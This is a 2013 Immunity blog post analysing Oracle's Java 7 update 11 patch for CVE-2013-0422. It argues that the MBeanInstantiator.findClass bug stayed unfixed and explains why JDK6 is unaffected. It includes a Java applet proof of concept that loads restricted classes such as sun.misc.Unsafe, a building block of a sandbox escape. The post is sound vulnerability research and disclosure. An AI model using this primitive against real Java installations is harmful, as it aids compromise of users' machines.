Monday, January 14, 2013

Confirmed: Java only fixed one of the two bugs.


One of things we tend to do when preparing our Java exploitation training as part of the INFILTRATE master class, is to analyze the past and the present in order to not only teach the specifics of exploitation but to build in our students their offensive "intuition".

This is an important characteristic if you want to win in the world of exploitation, because these days exploits are not served on a fresh cucumber nitro-tini but rather you will need picks and shovels to open your way into it.  

This is the case of the recent MBeanInstantiator exploit, which combines two bugs in order to remotely execute code.

And sometimes for everyone involved in the offensive world, this mean you need to look at the patch with special detail, because sometimes the vendor stops the worm/0day exploit  with a patch, but doesn't necessary fix all of the associated problems. And of course, being only human, sometimes the vendor's team just plain messes up the patch.

After further analysis of the Oracle Java patch (Java 7 update 11),  Immunity was able to identify that only one of the two bugs were fixed, making Java still vulnerable to one of the bugs used in the exploit found in the wild

The patch did stop the exploit, fixing one of its components. But an attacker with enough knowledge of the Java code base and the help of another zero day bug to replace the one fixed can easily continue compromising users. (Assuming they now use a signed Java applet - one of the other changes introduced in this patch.)

Java is indeed a constant target for attackers, and nobody should be surprised if an attacker just replaces the patched bug with a different one and starts compromising machines again. This is why it is important for Oracle and their user base to start paying special attention to each bug because with an exploitation chain as the one is needed these days, every bug matters.

Immunity this year is doing a five day long Master class at Infiltrate (April, 15-19) where we will spent a full day on Java exploitation, teaching our student how to analyze patch, understand the Java code base and how to combine multiple bugs to obtain full exploitation.  


Oracle Patch

Oracle released a patch for these 2 vulnerabilities and two different CVE's were assigned to them.
The patch for the Recursive Reflection vulnerability (CVE-2013-0422) can be seen in the java.lang.invoke.MethodHandleNatives.isCallerSensitive method:

isCallerSensitive diff between Java 7 update 10 and 11



And also sun.reflect.misc.MethodUtil class was changed to include some more checks:


 public static Object invoke(Method paramMethod, Object paramObject, Object[] paramArrayOfObject)
throws InvocationTargetException, IllegalAccessException
{
if  ((paramMethod.getDeclaringClass().equals(AccessController.class)) ||
    ((paramMethod.getDeclaringClass().equals(MethodHandles.class)) &&
     (paramMethod.getName().equals("lookup"))) ||
    ((paramMethod.getDeclaringClass().equals(MethodHandles.Lookup.class)) &&
    ((paramMethod.getName().startsWith("find")) ||
     (paramMethod.getName().startsWith("bind")) ||
     (paramMethod.getName().startsWith("unreflect")))) ||
    (paramMethod.getDeclaringClass().equals(Method.class)))
{
    throw new InvocationTargetException(
       new UnsupportedOperationException("invocation not supported"));
}

    [...]

}

However, the patch (which is Java 7 update 11) doesn't show any difference at all in the classes inside com.sun.jmx.mbeanserver package.

It appears then that the MBeanInstantiator.findClass vulnerability (CVE-2013-0422) is still there in the latest Java update.

In fact, running a simple test shows that restricted classes can still be retrieved with this bug.
A simple PoC like this can be used to see the situation:


import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;

public class Test9 extends Applet {
 public void test1() {
  System.out.println("RUNNING TEST1");
  try {
   javax.management.MBeanServer ms = com.sun.jmx.mbeanserver.JmxMBeanServer
     .newMBeanServer("test", null, null, true);

   com.sun.jmx.mbeanserver.MBeanInstantiator mi = ((com.sun.jmx.mbeanserver.JmxMBeanServer) ms)
     .getMBeanInstantiator();

   System.out.println("MBeanInstantiator = " + mi);
   Class clazz = mi.findClass(
     "sun.org.mozilla.javascript.internal.Context",
     (ClassLoader) null);
   System.out.println("clazz = " + clazz);
  } catch (Exception e) {
   e.printStackTrace();
  }

 }

 public void test2() {
  System.out.println("RUNNING TEST2");
  try {
   JmxMBeanServerBuilder sb = new JmxMBeanServerBuilder();
   JmxMBeanServer jxmMBS = (JmxMBeanServer) sb.newMBeanServer("",
     null, null);
   MBeanInstantiator mi = jxmMBS.getMBeanInstantiator();
   System.out.println("MBeanInstantiator = " + mi);
   Class clazz = mi.findClass("sun.misc.Unsafe", (ClassLoader) null);
   System.out.println("clazz = " + clazz);

  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 public void init() {
  test1();
  System.out.println("--------------------------------------------");
  test2();
 }
}


The output of such code executed with Java 7 update 11 will be something like this:



MbeanInstantiator.findClass vulnerability

Over our investigation of the com.sun.jmx.mbeanserver.MBeanInstantiator.findClass and com.sun.jmx.mbeanserver.MBeanInstantiator.loadClass we found that the implementation on JDK6 and JDK7 are the same, which led us at first to the wrong conclusion that both were vulnerable. After further research we found that although the MBeanInstantiator code is the same in both versions, JDK/JRE 6 cannot be exploited.

There is a flag called com.sun.jmx.mbeanserver.JmxMBeanServer.interceptorsEnabled that determines if MbeanServerInterceptors are enabled or not and that value is set in the com.sun.jmx.mbeanserver.JmxMBeanServer constructor.

In JDK7, the public static method com.sun.jmx.mbeanserver.JmxMBeanServer.newMBeanServer(String, MBeanServer, MBeanServerDelegate, boolean) directly calls the constructor
com.sun.jmx.mbeanserver.JmxMBeanServer.JmxMBeanServer(String, MBeanServer, MBeanServerDelegate, MBeanInstantiator, boolean, boolean) where the interceptorsEnabled flag is fully controlled.

JDK6 implementation is different because it calls another constructor that ignores the flag passed to the newMbeanServer method and always sets the flag to false.
This is what is preventing an attacker from getting a MbeanInstantiator instance to then use the findClass method.

We can clearly see that the call hierarchy is different in JDK6 and JDK7

JDK7 MBeanInstantiator constructor call hierarchy

JDK6 MBeanInstantiator constructor call hierarchy



This last image clearly shows that the newMBeanServer method is calling a different constructor that sets the flag to False.

Recursive Reflection Vulnerability

The vulnerability is that the new reflection API security checks were passed because a trusted caller from the JDK (java.lang.invoke.MethodHandle) was retrieved from the frame's stack, as was explained in the analysis.

We came to the conclusion that this happened due to an error in the sun.reflect.Reflection.getCallerClass implementation that failed to skip frames related to the new reflection API, but this was not correct.

I'd like to thank Michael 'mihi' Schierl for pointing out that the reason behind the situation was not what I suspected but something else. Learning from mistakes is good :)

You can see the details in Michael's post.

Update: According to mitre.org, CVE-2013-0422 includes  the MBeanInstantiator and the Recursive Reflection issue (Even though MBeanInstantiator is not fixed on the last Java release). CVE-2012-3174 is actually for an unspecified vulnerability with no publicly known details.


- Esteban Guillardoy
  Security Research
  Immunity, Inc

2 comments:

Ahmed Masud said...

Nice Esteban very nice!

WD said...

CVE-2012-3174 is *not* "the Recursive Reflection vulnerability." It is a distinct vulnerability from anything used in the exploits/PoCs for CVE-2013-0422.